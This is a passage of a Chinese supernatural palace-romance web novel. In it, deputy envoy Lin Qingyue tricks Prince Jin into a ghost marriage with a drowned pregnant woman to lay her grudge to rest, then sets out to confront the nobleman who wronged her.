狸花猫轻盈地踩在窗台上,转过身后,好像什么都没有看到一样地走了。
只是在离开的时候,他说了一句:“皇室命妇若想和离,会有很多阻扰。但你……若有麻烦,我会帮你。”
说完,小花就跳出窗口。下一刻,一只毛茸茸的爪子伸出,小心翼翼地把窗子关上,免得再被旁人瞧见。
林倾月:“……”
经过一整夜的修炼,林倾月彻底吸收了妖丹灵力。
她的修为也因此得到了大幅度的提升,到了金丹之境。
虽然还是比不过巅峰时期的自己,可若是对付王府里的侍卫们,那就完全不在话下。东方宴再想之前那样关她,是万万不能了。
第二天,玄镜司。
林倾月带着小花刚到,就看到谢守正带着几个手下愁眉苦脸的也来了。
他还穿着昨天的官袍,湿透了的袍摆被他随意地撩起系在腰间。
看到林倾月,他愣了愣:“林副使,怎么才一晚上没见,您你的气色就好了那么多?”
先前的林倾月体质其实很虚弱,小的时候常年吃不饱饭,回到林家也没有好好调理身体。这就导致她身体瘦弱,个子也不高。
哪怕她的五官更为明艳美丽,可身高、气色都差一截的情况下,和林如珍站在一起,就完全被压住了风头。
可如今,修为涨上去后,她的肤色白得自然,脸颊透出微微的胭脂红。连唇色眉眼都好看了许多。
更为重要的是,个子长高了一大截,恢复到了倾月仙君时期的芊长体形。
“还有你这身高,怎么也高了许多?”谢守正本来比林倾月高出大半个头,但现在却和林倾月齐平了。
“可能最近吃得好了,营养跟上就长个了。”林倾月答得简单。
小花漫不经心地看了她一眼,就懒懒地挪开了目光,没有拆穿。
谢守正说:“不是,林副使你今年几岁了?还能继续长个儿?”
“我?”林倾月想了想,“16岁,还是有点机会的。对了,昨天那个子母双煞的案子如何了?”
“情况不太好。”提到案子,谢守正果然顾不得深究其他,开始给林倾月讲昨晚的情况。
“河里溺死的,又怀着孩子,怨气大。我们去到现场一看,已经成了‘厉’。”
“厉”虽然也很凶,但好歹还存着几分人性,能够沟通。
于是,谢守正就带着几名司卫,划着小船到河中央打捞尸体。
尸体也很快就被找到,可偏偏拉不出来,还把两个司卫都拽了水。
也还好,他们都不是普通人,到了水里之后,立刻挣脱出来回到船上。如果是普通人,掉到水里肯定就要丧命了。
谢守正见对方不愿意上来,就好言好语地和对方打商量,问她有什么执念未了,可以的话会竭尽全力帮她达成。希望她放过自己,也放过周围的人。
谁知,对方居然提出,要找个男人成亲,让她腹中的孩子能有个爹。
谢守正也答应了,寻思着回头找个合适的男鬼配个冥婚。
没想到的是,对方却提出要活人,而且还得是岁数轻的士族
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!老的、丑的,身份低的都不要。
大齐的社会阶层泾渭分明,主要分为四等。
一等为士族,也叫贵族。掌控着国家的**、经济,拥有多种特权。比如东方宴、长宁侯都属于此列。
二等为寒门,也叫庶族。虽然没有贵族那么多的特权,也无法进入权利的中心,但一般家境较为富裕,且能通过读书考试入仕,做一方小官。
三等为平民,也叫良民。主要是农民、手工业者、商人等普通民众。也可通过读书入氏。
四等为贱民。这类通常是一些**奴仆,乐户、杂户等从事低贱职业者。
阶层的固化,乃是千百年来形成的巨大鸿沟。
当初的沈墨就因为出生寒门,被欺辱至死也无能为力。
若是平民之流,想要嫁入豪门贵族,简直就是痴人说梦。
更何况,那还是个鬼新娘,身怀六甲的鬼新娘!别说贵族了,贱民都未必愿意娶!
大米作为妖类没有人类那么明显的阶级概念,于是在旁边多嘴了一句:“大人,要不您就委屈点,娶了她吧?您是官员,身份也不低。”
谢守正瞪了大米一眼,不过咬咬牙,倒是也愿意屈就。反正就是走个形式而已,阶级的束缚也约束不了他。
“看你的样子,对方没同意?”林倾月说。
一提这个,谢守正就恼火:“本官都愿意纡尊降贵了,结果她居然嫌我不是贵族,还嫌我年纪大!”
谢守正气的拍桌子:“当真是好言难劝该死的鬼!”
林倾月询问道:“你有没有问过,她肚子里怀的孩子是谁的?也许可以另寻办法解决。”
谢守正说:“怎么没问?可她不说,只哭哭啼啼的。哭急了,就搅起风浪。你瞧瞧我这一身的湿衣服,都是被那浪给打的!”
“所以,要化解执念就要找个贵族青去冥婚?”
林倾月抚着下巴沉思,目光一不经意地落在小花身上。
小花一惊:“喵?”
林倾月呵呵一笑:“东方宴!”
小花从前再尊贵,如今也是猫了,不符合对方的要求。
东方宴就很合适啊。
他不是要纳新人吗?不是觉得林倾月不够大方,处处阻挠吗?
那林倾月索性就大气一回!
第44章 钝刀子割肉才疼
谢守正、大米,以及众司卫们听到“东方宴”这个名字的时都惊呆了,然后默默地冲林倾月竖起了大拇指:
“林副使大气,为了超度鬼母居然愿意献出自己的夫君!”
“不愧是我们玄镜司的副使!舍一人,护众生!我等佩服!”
“我还以为,您放着晋王妃的风光不要,跑来和我们一起干脏活累活,只是一时兴起。如今才知,副使竟是女中豪杰,为了事业甘愿舍弃男人!”
“就冲着您这大公无私的伟大品格,以后您就是我们最敬佩的人!”
林倾月被夸得满面春风,心头竟也涌起了一番热血:“为了驱邪大业,为了天下百姓的安康,男人算什么?狗王爷算什么?本官愿意舍小家,为大家!”
“好!”众人齐呼!
谢守正悄声问:“晋王能答应吗?”
林倾月抚着下巴嘿嘿地笑:“答不答应,都由不得他!”
“阿嚏!阿嚏!阿嚏!”晋王府里,东方宴连着打了三个喷嚏。
赵总管赶忙掏出手帕,给东方宴擦鼻子。
“奴才听闻,突然打喷嚏是被人思念。王爷,莫非王妃在想念你?”
东方宴瞪了他一眼:“莫要胡乱议论主子。”
“是!”赵安笑嘻嘻地退下。
齐昭帝称病,已经有好几天没有早朝了。
东方宴最近也得知了齐昭帝被蜉蝣丝感染之事,猜测到是蜉蝣丝被引出之后的后遗症。
蜉蝣丝寄生的时间越长,和宿主的契合也就越紧密,对宿主身体的影响也就会越大。
东方宴虽然不知道齐昭帝被感染了多久,但从他病的时间来看,至少有几个月了。
不过这一病,对东方宴来说倒是一个好事。
他已经悄悄地联系了几位心腹大臣,以皇帝年事已高,国不可一日无储为由,把改立储君的事再提一提。
若是能借此让自己成为储君,那蜉蝣丝也算立了大功。
这时,手下人过来送了个东西:“殿下,这是林府二小姐为您绣的荷包。”
藕荷色的荷包上,绣着几根出尘脱俗的兰草。旁边还有两只小小的蝴蝶,比翼而飞。
东方宴看得懂林如珍的意思,是希望他们二人也能比翼**。
“哎。”他轻轻地叹了口气,“林倾月怎么就不能像珍儿这般蕙质兰心呢?”
“殿下,您先前派去南屏的人送信回来了。”
南屏是林倾月被认回林家前生活的地方,先前东方宴对林倾月的过去产生了疑问,就派了人去打听。
由于地方太远,一来一回实在不方便,为了尽早完成任务,探查的人就将一切写了书信八百里加急送了回来。
信里详细描绘了南屏那一带的情况,大山深处就一个字“穷”。
而林倾月本是村户买来的养女,养父脾气不好,动辄打骂。养母刻薄又懒散,家里大活、小活都丢给养女干。
养女越长越漂亮,养女母就动了心思,将其带出大山,到了县城想卖个好价钱。
而林家的老嬷嬷恰好回乡省亲,发现那孩子长得像自家夫人。没多久,侯府就派人把林倾月给接走了。
临走前,还给了养父母一大笔封口钱。
东方宴派的人,稍微许了些好处,就得知了找个惊人的消息:林倾月是被恶奴偷出侯府,狸猫换太子!
偷换来的女婴被卖到了深山,直到后来东窗事发,侯府派人来才找到接回。
东方宴看到后来,把信纸狠狠地攥紧。
林倾月若是侯府被换走的嫡女,那么另一个和她调换的女婴又会是谁?
答案不言而喻!
“林家,好大的胆子!”
在东方宴的心里,贵族的血脉远远凌驾于贱民血脉之上。就算林家开始是被蒙骗的,可知道林如珍是假的后,就不该再让她以嫡女示人。
而自己,居然还傻傻地把一个拥有贱民血脉的女子捧在心间,甚至还曾经动过娶她当正妻的心思!
她怎么配?
刚刚还挂在腰间的荷包,被他一把扯下摔在了地上。
林倾月回来的时候,看到的就是东方宴的一张臭脸。
她皱眉寻思:“我还没说让他娶鬼母喜当爹呢,他怎么就不高兴了?”
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垂眸间又看到扔在地上的荷包,林倾月问:“哪来的荷包?绣工这么差,还好意思送出来丢人现眼?”
东方宴抬头冷声质问:“林如珍和你的身世,你为何不说?”
林倾月就知了,肯定是东方宴派人去查了她的身世,顺便挖出了林如珍假千金的身份。
“因为我那位好爹爹从我回林家的第一天起,就三令五申,不准我透露我出和林如珍的身世。我当然就不敢说咯。”
“是不敢,还是故意隐瞒?”东方宴声声地质问,“所以,你一直以来就看着本王对一个贱女动情,泥足深陷?”
林倾月忍不住笑了:“怎么说的好像我逼着你和她好似的?再说了,我说了你就会信吗?你不一直认为我满口谎言、尖酸刻薄,是茅坑里的顽石吗?而你的珍儿,却是天上的明珠,值得你一生珍藏?怎么,现在就叫人家贱女了?”
“你!”东方宴被堵得垭口无语,气恼地道,“你若说了,本王就算不信,那也是本王的事!可不说,就是故意欺瞒!”
林倾月耸了耸肩问:“哦是吗?那我现在就告诉你,半年多前救你一命的人,不是林如珍,而是林倾月,你信吗?”
“你何必颠倒是非?”
“你看,我说了真话你也不信,你只信你自己查出来的东西。所以,尊贵的王爷殿下,如今你既然知道林如珍的身世,可还愿意立她为侧妃吗?”
东方宴不说话了。
哪怕他现在依然把林如珍当成救命恩人,可尊卑有别。
无论林如珍受到王府多少年的教养,依然不能改变她身上流淌的贱民血液。
而他,晋王殿下,将来还有很大可能问鼎天下,他侧妃也比普通人家的正妻尊贵。
林如珍……已经不配了。
“我突然有点可怜林如珍了。”林倾月闲闲地说着风凉话,“她那么费尽心思的讨好你,结果心上人就因为她的出身,否定了一切。啧啧,好可怜啊!”
就是不知道,等坐实了冒充救命恩人的事情后,会不会变得更可怜?
钝刀子割肉才疼,慢慢来。
第45章 给晋王配个冥婚(上)
“珍儿虽然已经不配做本王的侧妃,但她既然救过本王,本王自然会在身边给她留有一席之地。你先前不是反对本王立她为侧妃吗?那就改为庶妃吧。”
在大齐国,王的侧妃和庶妃虽然仅一字之差,但地位差距悬殊。侧妃有正式的封号,所生子女有袭爵的资格。
而庶妃,就和普通人家的小妾一样,地位低。且生下的子女没有爵位。即便东方宴将来能当皇帝,庶妃的孩子也没有继承权。
林倾月道:“庶妃,我也不同意呢。”
东方宴:“林倾月你……”
“你若能答应我一个条件,我同意你纳庶妃,如何?”
东方宴没想到她话锋转得这么快,居然答应了。
“可以,你说罢。”在东方宴眼里,女子提条件,不外乎是要些好处。
只要林倾月愿意好好说话,他愿意宠一宠她。
“本王的库房里还有不少宝贝,我让赵安带你去挑选。多选几样也无妨。”
“我不要东西,只想王爷今晚陪臣妾去个地方。”
“什么地方?”
“臣妾不是出任玄镜司的副使吗?谢大人交给臣妾一个案子,今晚要出城一趟。可臣妾到底是女子,又是堂堂晋王妃,三更半夜私自出城,哪怕是为了公事,总归会影响名声。若是王爷陪伴在侧,那就不一样了。”
“林倾月,你该不会想要害本王吧?”不知道为什么,东方宴一听林倾月自称“臣妾”就有种要被算计的感觉。
林倾月笑颜如花:“怎么会呢?王爷若是不放心,可以多带侍卫。再说了,臣妾是您的正妻,若害**您,那臣妾岂不成了寡妇?”
一通忽悠,东方宴坐上出城的马车后。
坐在马车里,东方宴问:“谢守正派给你的案子是什么?会不会很危险?”
“当然不会危险了,只不过是一个可怜的少女冤死在河里,我过去帮着化解她的执念,让她离开就行了。比起前段时间林家那事,简直不值一提。”
“林倾月……”东方宴觉得此刻的林倾月好像收敛了浑身的刺,于是他也忍不住想和她多说几句。
“本王先前不知你过得那么苦……”
林倾月被这突然的话搞蒙了一瞬:“你要说什么?”
车里只有一盏小灯,明黄的光线笼在东方宴的脸上,不似往常那样冰冷。
他的语气也温柔了几许:“本王以后会好好待你。”
林倾月眨巴了下眼睛,说了声:“哦。”
东方宴还想再说什么,忽然被一声猫叫打断了。
车帘一动,狸花猫就蹿了进来,喵喵叫着在林倾月的脚边蹭来蹭去。
东方宴满脸厌恶:“这猫怎么进车里,赶出去。”
他实在讨厌那种毛茸茸的东西,尤其讨厌这猫看他时轻蔑的眼神。
林倾月道:“猫怕冷,可能想进车里暖暖。王爷很讨厌猫吗?”
东方宴点头:“小时被抓过,所以不喜——你若实在喜欢这猫,就让它在车里吧。莫让它靠近本王就行。”
自从成亲以来,他们能好好说话的次数不多,东方宴不想再为一只猫破坏两人的和谐。
“如此,那真是多谢殿下了。”林倾月微笑着,整个人温柔了许多。
原来和她在一起好好说话的感觉是这样的令人舒适,东方宴忽然觉得这一趟走得很值得。
他甚至还在考虑,今晚过后是不是可以把两人的关系再拉近一些,让林倾月做自己真正的女人。
想到这里的时候,他看向林倾月的目光都暧昧了几分。
也是直到此刻,他才发现林倾月似乎变得漂亮了许多。果然王府比林家养人。
“倾月……”心中生出旖旎之念时,东方宴忍不住往林倾月那靠近了一些。
他想:她是本王的妻,这么久了本王竟然都没好好和她亲近。
林倾月正在看着窗外,没发现东方宴的靠近,更没发现他正伸手欲摸自己的脸。
眼看着那手要触碰上林倾月的脸,忽然一只猫爪挥出,狠狠地抓上了东方宴的手。
东方宴吃痛之下急忙收手,低头一看,手上又是三道血淋淋的抓痕。
“你这畜牲!”东方宴脸色顿变,正要动怒。
却听林倾月道:“你压他尾巴了。唉,你刚不是坐那头的吗?什么时候挪过来的?”
东方宴:“……”
出了京城,一路晃晃悠悠,又走了半个多时辰终于到了万安县下的王家村。
得知玄镜司今晚要来除邪,整个村子的人都围在村头看热闹。
还有消息灵通的,听说王筐家溺死的女儿遗愿是想要嫁人,且还非贵族不可。
起初,大家都不相信这样荒唐的想法能成真。<
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br>就连苦主王筐夫妇俩,都觉得这是异想天开,甚至还很懂事地对谢守正道:“大人,要不让我和她娘去劝劝她?咱平头老百姓,哪里能和贵族搭边。何况……何况还是冥婚?”
就在这时,雍容华贵的马车踏着夜色而来,前后还有戎装铠甲的侍卫簇拥,威风凛凛。
村里有识字的人,看到马车上印着的“晋”字,倒抽了口冷气:“四马金络头,这是亲王才有的配置。这,这该不会是晋王殿下吧?”
人群小声的议论开来,大部分人都不信:王爷的大驾怎么可能来到这乡野之地?
马车停下,赵总管高声唱喝:“晋王殿下驾到!”
果然是晋王!
百姓纷纷跪拜磕头。
王筐夫妇俩都看傻了,谢守正则摸摸胡须笑呵呵地说:“瞧,你家女婿来了。”
一句话,直接把王筐夫妇吓得瘫坐在地——让晋王和他们家女儿冥婚?杀了他们都不敢要啊!
“怎么那么多人?”
东方宴冷眼审视着那些百姓。
他一向自视甚高,很少和民众接触。看到众人的毕恭毕敬,他觉得是理所当然。可那些人悄悄窥探的眼神,为什么带着几分古怪?
“这儿地方小藏不住事,随便出点什么事儿全村都知道,当然就来看个热闹了。”林倾月不动声色地把东方宴往河边引。
船早就准备好了,通体涂着红漆,船头还系着红色的绸带。
东方宴疑惑地问:“这船为什么是红色的?”
林倾月张口就道:“红色辟邪。走走,先上船。”
“本王为什么要上船?”
废话,新郎不上船怎么接亲?
“一起看个热闹嘛!”也不等东方宴答应,林倾月一把就将人推上了船,自己也紧跟着跳了上来。
谢守正早就先一步上船,看到晋王登船了,也不等人站稳,一杆子就把船给杵远了,速度之快连东方宴的侍卫们都来不及跟上。
“林倾月,你该不会要把本王弄河中间给谋害了吧?”东方宴不由得想起当初,自己被阿恒劫持的时候,林倾月似乎说过不介意当寡妇?
“我们玄镜司诛邪镇妖,护卫一方安宁,绝对不会做害人的勾当!”
林倾月说这话的时候义正言辞,一副正人君子的模样。可越是这样,东方宴越是感觉不安。
第46章 给晋王配个冥婚(中)
“你不信我也该信谢大人。谢大人为官正直,断不会和我合谋害你。”
林倾月悄悄给谢守正递了个眼神,谢守正连忙附和:
“对对,下官肯定不会做那等伤天害理的事情。殿下放心!”
说话间,船已经远远地驶离了岸边,想下船都来不及了。
河面很开阔,到了中央的时候,岸边的人和灯光都已经看不太清楚。
红色的木船缓缓停下,谢守正拿出招魂铃“叮叮当”地摇晃着,嘴里喊着:“王灵儿、王灵儿,我们来接你回家了!”
连续喊了三遍之后,两个司卫拿出铁耙子,在水里搜索勾捞。
不多久,其中一人的耙子就勾到了东西,立马大喊道:“找到王灵儿的尸体了!”
其他的司卫都过来拉,可那东西死沉死沉的,好像定死在水里一样,怎么都拉不起来。
谢守正拿着灯笼,探头一照,只看到水面下黑漆漆的一颗脑袋,长长的头发随波飘摇,犹如一条条水蛇。
“王灵儿,我们来接你回家了!船上不光有我们玄镜司的人,还有晋王殿下。”
谢守正强调着东方宴的身份,“晋王你知道吗?当今天子的亲侄,权势滔天的亲王,身份贵重,乃是贵族中的贵族。”
“殿下年轻英俊,乃人中翘楚,更义薄云天、爱民如子!王灵儿无论你有什么需求,他都愿意帮你。”
东方宴都被夸懵了:“谢守正你说那些干什么?”
谢守正嘿嘿一笑:“下官只是在表达对殿下滔滔不绝的仰慕之情!哎呀呀,飘起来了,王灵儿的尸体飘了起来!拉,快快拉上来!”
司卫们得了令,立马动手。拉的拉、拽的拽,很快就把那女尸给弄上了船。
奇怪的是,王灵儿的尸身虽然泡在河底好几天了,可整体却保持得很好,没有肿胀腐烂,也没有被鱼儿啃食过的痕迹,看起来好像刚刚溺死一样。
高高隆起的腹部,明显能看出是个孕妇,且已经到了快分娩的时候。
王灵儿的脸色苍白,眼睛大大地睁着,明明没有任何焦距,可不知道为什么东方宴却感觉她好像在盯着自己看,叫他莫名觉得头皮发麻。
谢守正悄悄地对林倾月道:“她很满意晋王,但是晋王……”
林倾月故作惊讶地道:“什么!她看上了晋王,想和晋王成亲?这怎么行?”
东方宴也被这话弄得一惊,“你这话什么意思?”
林倾月道:“王灵儿已经化了厉,所以尸体一直不腐烂,长久在河里会闹凶。这河又连通京城的内河,乃是重要的水源,不能继续污染。若要送走她,必须要化解执念。她的执念……哎呀臣妾也是刚刚得知,她居然胆大包天地看上了殿下您啊!”
“放肆!”东方宴厉声呵斥。
“既然不愿走,那就让她魂飞魄散!本王还能被一个**威胁?”
林倾月也附和着:“没错!晋王殿下身份尊贵,怎么能娶一个平民女子,何况还是个**?”
这话一出,果然惹怒了那鬼母,河中间掀起狂风巨浪,小木船也摇摇晃晃,几乎要被浪头掀翻。
东方宴也被晃得站立不稳,慌张地问:“这是怎么回事?不是说没有危险吗?怎么突然起浪了?”
林倾月道:“这女鬼要化煞了,如果不能了却她的执念,她就要把船掀翻淹死我们所有人!”
东方宴高喊:“谢大人!”
谢守正为难地开口:“可是她的执念是想和晋王殿下您……成亲。我也没想到,居然是这样!”
“荒唐!”东方宴怒极反笑,“别说她如今是个**了,就算是活人,本王也不可能跟平民通婚!”
话音刚落,一个浪头打来,将东方宴浇得浑身透衣,人也差点被卷下了河,幸好林倾月及时把他给拽住了。
东方宴惊魂未消地问:“这邪祟太过猖狂,为什么不将其打散?”
林倾月道:“你把她刺激得快
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要化煞了,本就难以对付。这里又是在水上,没法用火阵消灭。哎呀不行,浪越来越大,再下去船要翻了。王爷您会水吗?
东方宴当然不会水。
“我也不擅长水战!那怎么办?再下去,我们大家都要淹死!”林倾月显得很慌张,这也是东方宴第一次看到她慌张的样子。
若是连林倾月都束手无策,那就真的很麻烦了。
“难道别无他法了吗?”
“鬼魂存在源于执念,她的执念就是找个人成亲,偏偏她又看上了王爷你。要不,殿下就屈就一下?只是走个形式,不影响其他。等化解执念,她就走了。”
东方宴很愤怒:“林倾月,你居然要本王和那鬼……”
话没说完,又一个浪头打来,小船摇摇欲坠,眼看就要撑不住了。
谢守正抹了把脸上的水渍,大声道:“王爷不好了,她说要把您弄下去淹死,做对鬼夫妻!”
东方宴:“……”
林倾月道:“情况危急,再不起决定,咱们都会死啊!”
最终,上了“贼船”的东方宴只能硬着头皮答应。
他刚一点头,风浪就慢慢地小了。鬼母苍白的脸上浮现出了一个僵硬的笑容。
谢守正也立刻从旁边的箱子里翻出了两套喜服,一套递给东方宴,一套交给林倾月给王灵儿换上。
船上的司卫们则迅速地抬出供桌,摆上龙凤红烛。
东方宴拿着喜服,看着供桌和红烛终于意识到问题所在:“你们怎会提前备好这些东西的?难道你们早就知道?”
谢守正一时被问倒了,不知该如何答话。
林倾月帮着圆谎:“这船是借来的,原是一艘送婚船。至于船上的喜服……贫穷人家买不起喜服的,就会去借,借完了连船一起归还。这不赶巧了吗?”
林倾月一边睁眼说瞎话,一边给那女尸换衣服。
谢守正在旁边帮腔:“林副使说得没错,都是赶巧,赶巧!”
第47章 给晋王配个冥婚(下)
很快,更衣完毕,香烛也点上了。
林倾月将王灵儿的尸体扶着站起来,进行婚礼仪式。
“一拜天地!”
东方宴不情不愿地拜了。
“二拜高堂!”
他磨磨唧唧地转过身,又磨磨唧唧地朝着岸边方向,王灵儿父母所在的方向拜下。
“夫妻对拜!”
拜之前,东方宴忍不住看向林倾月——本王是她的夫君,此时此刻,她会不会有些醋?
林倾月不但不醋,还催促道:“拜啊,事情马上就了结了!能不能不要再磨唧?”
不知道为什么,他心底有些难过。
如果不是为了帮林倾月,他宁可死也不可能做这样辱没身份的事。可偏偏,她居然毫无波澜地看着自己和鬼拜堂。
林倾月真的拿自己当夫君看吗?还是除了诛邪化念之外,就万事不在意了呢?
——也罢了,就算是本王先前欠你的。
他终于还是低下了高贵的头颅,完成了最后一拜。
耳边有夜风拂过,裹着一声幽凉的呢喃:“多谢你,夫君。”
他猛然一怔,抬起头就看到对面和自己拜堂的女尸慢慢地闭上了双眼,原本狰狞的神色消失了,神态安详的模样看起来居然有些美丽。
她的怨气,消了。
东方宴正要松口气,却听林倾月道:“她肚子撑不住了,要生了!”
东方宴一颗心瞬间又提起:“这怎么没完没了?”
谢守正也没遇到过这事,正些为难:“我们玄镜司成立十年以来,还没给鬼接过生呢。要不,去岸上找个接生婆为她接生?”
“来不及了!她本就憋了很久,此刻执念了,孩子若是再憋在里面会生出新的变数。事不宜迟,我来试试!”
林倾月说着将王灵儿的尸体平放在船舱内,又对周围所有人道:“妇人生产,你们都到外面等着,不要来看。”
等舱内没有旁人了,林倾月抚了抚女尸高高隆起的肚子,轻声呢喃:“你母亲为了你已经受了很多苦,你要乖乖的别闹腾,我接你出来。”
——这是对那肚里的鬼胎说的。
王灵儿其实也很可怜,都快要临盆了,却又突然溺死。死后成为地缚灵,被自己的执念和水困在这里,不得解脱。
此刻感觉得林倾月的善意,女尸身体舒缓下来,两条笔直的长腿慢慢地分开……
东方宴站在船头,眼看着很快就要靠岸了,他当然不想让别人知道自己堂堂王爷和女鬼冥婚,就胡乱把身上的喜服扒了下来,丢给谢守正。
“今日之事,不准外传!否则……”他给谢守正递了个充满杀气的眼神。
谢守正很懂事地道:“明白明白,一定不会外传!”
这时,耳边传来一声婴儿的啼哭声,缥缈而真实。
谢守正不经大脑的话便冲口而出:“恭喜王爷,喜当爹!”
“谢守正!”东方宴的眼神,简直要刀人。
这时,林倾月从船舱内出来了。
东方宴下意识地扫了眼她身后的舱室,就见那女尸的肚子已经瘪了下去,身边放着一个小小的婴孩,脸色发青,一动不动。
林倾月注意到他的眼神,体贴地询问:“要进去看看吗?”
东方宴冷哼一声,收回了目光。他才不想看呢!
然而就在这时候,他忽然感觉脚下一沉,低头看去,只见一个白白胖胖的虚影正抱着自己的腿。
他吓了一跳,急忙把腿上东西踹开。
那白胖的虚影就像个球一样滚出去老远,然后又爬起来委屈巴巴地哭了。
东方宴问道:“那是什么东西?”
林倾月蹲下去看了看:“是刚出生的鬼宝宝。宝宝,你怎么出来了?哦,你要找你爹啊。”
她招呼东方宴:“别那么凶,那就是个小宝宝。你刚和他娘成亲了,他理所应当把你当成了爹,想和你亲近一下。你突然把人家踹走,宝宝很伤心啊。”
东方宴恼了:“有完没完了?难道本王还要把他们请回去供着?”
林倾月点头:“那也不是不可以。”
“休想!”刚才的事情,他只当成是走个过程,绝对不想喜当爹,更不可能供奉他们!
察觉到东方宴的厌恶,那鬼宝宝不哭了,眼底开始浮现出怨毒之色。
而他的母亲,也感知到了孩子的委屈,船舱内的温
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度顿时降低了许多,站在舱门口都感觉阴冷。
林倾月脸色一沉道:“冤有头,债有主。谁欺负了你?谁又是这孩子真正的爹?你为什么不去找他?”
鬼母的怨气渐渐淡去,鬼宝宝也不哭了,只是楚楚可怜地看着东方宴。
林倾月耳朵动了动,念道:“万安县令之子,郑世荣。”
郑家也是士族,就算王灵儿怀了家族子弟的孩子,也进不了士族的大门。
而王灵儿的执念,就是希望未来的夫君地位能压过郑世荣,成为自己的靠山。
现在,晋王就是他们母子俩的靠山,她才愿意把害了她的男人名字说出来。
林倾月对东方宴道:“王家村的规矩,未婚产下的子嗣不得入土安葬。她不忍孩子受苦,想让你帮孩子认祖归宗,受香火供奉,好让孩子来世也能投个好人家。”
东方宴虽然也是恪守阶层尊卑的人,可对那种随意要了少女贞操,令其怀孕却又不负责任的人深恶痛绝。
“本王可以帮你们娘俩撑腰。”这话是对着船舱的方向说的。
耳边飘来一阵清风,裹着一道温柔的女声:“多谢夫君。”
东方宴听得有些别扭,可现在也已经骑虎难下,只能把这事早早解决,送走那对鬼母子。
林倾月对东方宴说:“借你腰上荷包一用。”
那荷包是林如珍送他的,虽然当时他因为知道了林如珍**,赌气丢掉。可事后冷静下来,又念着对方的救命之恩,以及对自己的一往情深,还是拿回来挂在了腰上。
“你要本王的荷包要做什么?”东方宴问的同时,还是解下了荷包。
林倾月接过荷包,召唤道:“三魂渺渺、七魄茫茫,聚而为灵,落!”
随着话音落下,鬼宝宝化作一片烟雾钻入了荷包里。
林倾月将荷包还给东方宴:“鬼宝宝现在暂时认你为爹,我已经将他的魂魄装在你的荷包上,他会跟你一起回去。待你帮他找到真正的爹,受到家族的供奉后,他才会和你解除父子关系。”
“要不这荷包……暂时留在你那?”东方宴才不想随身带着个鬼娃,那也太膈应了。
第48章 登门
“不行,他现在只认你,也只肯跟着你走。”
林倾月嫌弃地补了句,“再说这个荷包太丑,我才不想挂在身上。”
没办法,东方宴只好硬着头皮把荷包挂回腰间。
这时,船也已经靠岸。
司卫们把王灵儿母子俩的尸体抬上了岸。
谢守正叮嘱家属:“停尸一晚,明日可以下葬。王灵儿已经诞下了孩子,切记一起入殓埋葬。不可把孩子随意丢弃,否则引来怨气,本官也难保你们家宅安宁!”
王家夫妇俩连连应下,哭着去接女儿的尸体。
以防万一,谢守正还派了两名手下看着,避免再生枝节。
事情至此只是告一段落,还不算了结。只能等明日去到郑家,让鬼宝宝认祖归宗,同时化掉王灵儿的怨气才行。
一路上,东方宴都沉默着不说话,明显憋着一口气。
林倾月也懒得去管他,心情甚好地撸着小花,似乎在她眼里一只猫都比他东方宴重要。
东方宴看了她好几眼,她都没发现。
“林倾月。”
“嗯。”
“林倾月!”
“嗯?”
“林倾月,以后不要再带猫出门了!”
林倾月终于抬头看了他一眼,“为何?”
东方宴冷哼不说话,想让她自己领悟。
林倾月领悟不到,继续撸猫。
小花也很奇怪,平常很高冷,不喜欢被撸。可此刻,却好像真的变成了寻常的小猫咪,不但乖乖地蹲坐在旁边,任由林倾月摸摸头、拽拽尾巴。只是,偶尔朝东方宴挑衅地瞥一眼。
东方宴更气了。
终于回到了王府,东方宴黑着个脸,很不爽地下了马车。
林倾月在后面叮嘱一句:“明日别忘了去郑家。”
东方宴脚步顿了顿,问道:“你去吗?”
“自然要去。”如果只让东方宴自己去,事情未必能善了。
东方宴闻言,心中的郁结顿时消散了不少:看来她还是在意本王的,所以愿意陪本王一起。
万安县乃是京城直属的县,天子脚下,关系重大。因此,万安县的县令为正五品官职,比一般的郡守地位都高。
如今万安县令郑石,乃世家大族出生,原本祖上也出过王侯将相,贵不可言。
只是后来渐渐有了没落的趋势,子弟多纨绔,没几个真才实干的。
直到今年,郑石才终于上任做了万安县令。虽只是小小的县令,胜在和京城离得近,方便和朝里的权贵们攀上关系。
这不,最近郑家正在和兵部侍郎周家议亲。
兵部侍郎乃是晋王的人,和周家定了亲,也就相当于攀上了晋王的关系。
谁都知道,晋王殿下很大概率会成为储君,若能搭上他的线,平步青云不在话下。
东方宴抵达郑府门前的时候,只见宾客盈门,锣鼓喧天,似乎在办什么喜事。
周侍郎恰好带着一家老小到了门口,一抬眼就看到了东方宴,吃了一惊后赶忙过来拜见。
“下官周隐拜见晋王殿下,殿下今日怎么会来此?”
东方宴淡淡睨了他一眼:“郑家今天办什么事?”
周侍郎道:“今日是我家小女和郑家二公子郑世荣定亲。”
“定亲?”东方宴冷笑一声,“那倒是巧了,本王正好来讨杯喜酒喝!”
周侍郎有点蒙:晋王什么时候和郑家关系这么好了?我怎么不知道?
东方宴没有解释太多,转头对车里的林倾月道:“怎么还不下车?”
车帘一动,林倾月从车里下来。风和日丽,乾坤朗朗,她却撑起了一把油纸伞。
伞的造型十分精致,大红色的伞面上用金箔画着奇怪的符文。
十六根金色的伞骨,每一根骨梢上都悬挂着一只铃铛,伴随她开伞时的动作,铃铛“叮叮铃铃”地响着,清脆悦耳。
东方宴奇道:“晴天你为何打伞?”
林倾月的伞微微一侧,似乎在为谁遮光:“**里,苦主的魂魄不能见光。所以要用幽冥伞遮魂,引魂铃来引路。”
东方宴再一细看,果然看到伞下隐约似有一个朦胧的影子。
那一缕魂魄也看到了他,向他微微福了一礼,耳边还有她清幽的声音:“望夫君为妾申冤。”
东
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方宴:“……”
真的不想给鬼当夫君啊啊啊!
而他能看到王灵儿,还是因为冥婚之后,一人一鬼有了特殊的羁绊,才能窥见。
其他人则完全看不见。周侍郎只觉得很奇怪,可当得知撑伞的古怪女子居然是晋王妃的时候,赶忙见礼。
他的女眷们则寻思着:晴天打伞,莫非是京城贵妇间的新风尚?
不管是善意或是其他探究的目光,林倾月彷彿统统视而不见。
她撑着红色描金的幽冥伞,带着那卑贱的冤魂,一步一步跨入了氏族的大门。这一刻阶层的壁垒悄然破碎,那光鲜热闹的场景出现在眼前。
引魂铃轻轻唱响,那是冤魂颤抖的呜咽。
幽冥伞遮住了光,却不会遮住人间的清平。
冤有头,怨有主,不是不报,时候未到。
今日良辰好景,恰是好时机。
晋王夫妇的突然出现,立马在郑家引起了骚动。
郑石带着一家老小迎了过来,殷勤地行礼。心里还在暗暗欢喜:和周家定亲,果然是定对了!晋王肯定是给周侍郎面子才不请自来!
